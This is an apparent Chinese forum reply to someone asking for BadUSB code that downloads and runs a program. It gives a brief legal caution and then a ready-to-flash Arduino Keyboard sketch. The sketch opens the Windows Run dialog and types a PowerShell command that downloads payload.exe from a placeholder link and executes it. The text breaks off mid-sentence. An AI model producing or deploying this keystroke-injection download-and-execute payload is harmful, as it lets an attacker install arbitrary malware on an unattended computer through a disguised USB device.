Re: BadUsb求一段自动下载程序并运行的代码 我没用烧鹅用
理解你的需求,不过提醒一下,BadUSB工具(包括用开发板自制的)涉及远程下载和执行程序,如果用在他人设备上可能触犯法律或道德问题,建议仅用于自己的测试环境。 如果你用的是Arduino Leonardo或Pro Micro这类带ATmega32U4的板子,常见思路是用键盘模拟功能在目标机上打开浏览器、下载文件,再模拟回车运行。例如用Duckyscript或Arduino IDE写类似: ```c #include void setup() { Keyboard.begin(); delay(1000); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); Keyboard.releaseAll(); delay(500); Keyboard.print("powershell -Command \"Invoke-WebRequest -Uri '你的下载链接' -OutFile 'C:\\temp\\payload.exe'; Start-Process 'C:\\temp\\payload.exe'\""); Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } void loop() {} ``` 注意:链接改成你自己的合法测试文件地址,并且目标系统需要允许powershel
页:
1
[2]